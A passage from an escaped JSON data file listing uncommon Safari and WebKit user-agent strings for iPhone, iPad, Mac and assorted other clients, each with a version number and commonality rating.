Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A432 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.25 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.25\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.3 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.3\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G33 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/6531.22.7 electricmobilesimulator\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A344 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.40 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5309d Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.1 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F5065b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D27 Safari\\/602.1\\t\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10601.2.3 Safari\\/10601.2.7.2\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.28 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5318g Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit\\/537.35.1 (KHTML, like Gecko) Version\\/6.1 Safari\\/537.35.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.29 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5249d Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT\\/2.340) AppleWebKit\\/530+ (KHTML, like Gecko) Version\\/4.0 Safari\\/530.17 UNTRUSTED\\/1.0 3gpp-gba UNTRUSTED\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B87 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; zh-tw) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_1_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B146 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.15 (KHTML, like Gecko) Safari\\/538.15 Version\\/6.0 dwb\\/2014.04.23\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/0600.1.25 (KHTML, like Gecko) FluidApp Version\\/1955 Safari\\/0600.1.25\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A366 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5341f Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/6.1.3 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_6 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8E200 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en_US) AppleWebKit\\/522.7 (KHTML, like Gecko) Dreamweaver\\/10.0.0.4117 Version\\/3.0 Safari\\/522.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1 AlohaBrowser\\/1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; Odyssey Web Browser; AROS; rv:1.16) AppleWebKit\\/535.14 (KHTML, like Gecko) OWB\\/1.16 Safari\\/535.14\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/537.71 (KHTML like Gecko) Version\\/7.0 Safari\\/537.71\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.31 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5327g Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12D508 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) demobrowser\\/0.1 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/601.7.8\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F5089a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en_US) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (X11; U; CrOS i686 0.13.507) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.12\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.7 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C5069c Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; fr-fr) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.22.7 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-us) AppleWebKit\\/533.18.1 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit\\/523.15.1 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.15\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.1 Mobile\\/14E304 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5362a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.9.0.0 Mobile\\/15D60 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS_5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version 5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"11.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit\\/537.111.15 (KHTML, like Gecko) Safari Version\\/11.1.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5191d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; nl-nl) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.2 Safari\\/605.1.15\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A342 Safari\\/601.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A403 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit\\/1533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/61533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0_1 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.100 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.100\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3 Newsan\\/2.0 (Hisense\\/1.1; TV)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10.3\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.3 Mobile\\/14E277 Safari\\/603.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad;U;CPU OS 6_0 like Mac OS X;en-us)AppleWebKit\\/536.26(KHTML,like Gecko)Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) WebClip\\/6534.51.13 Safari\\/6534.59.10\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D23 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit\\/536.28.8+ (KHTML, like Gecko) Version\\/5.0.6 Safari\\/533.22.3\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; it-it) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) RelIdApp\\/3.1.6 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/10.1 Safari\\/602.1 EdgiOS\\/41.10.1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.43 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.43\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4 (compatible; YandexMobileBot\\/3.0; +http:\\/\\/yandex.com\\/bots)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit\\/546.10 (KHTML, like Gecko) Version\\/6.0 Mobile\\/7E18WD Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.27 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.27\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"\\\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5\\\"\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.71 (KHTML, like Gecko) Version\\/6.1 Safari\\/537.71\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko, Safari\\/9537.85.12.18) ADM\\/784\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; fr-fr) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit\\/536.26.17 (KHTML, like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.23 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5239e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) Tableau Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.7 (KHTML, like Gecko) WebClip\\/13604.4.7.1.3 Safari\\/13604.4.7.1.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) python Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.11.0.0 Mobile\\/15D100 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_8_0; nl-nl) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Fluid\\/1.7.1 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10603.1.30.0.34 Safari\\/10603.1.30.0.34\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.3 Safari\\/534.53.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.17.8 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/533.17.8\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 7.1.2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) 1Password\\/4.5.3 (like Version\\/11D257 Mobile\\/7.1.2 Safari\\/8536.25)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PokerClient Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_1) AppleWebKit\\/536.25 (KHTML, like Gecko) Version\\/6.0 Safari\\/536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS (null) like Mac OS X) AppleWebKit\\/(null) (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A403 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/534.34 (KHTML, like Gecko) CasperJS\\/1.1.3+PhantomJS\\/1.9.8 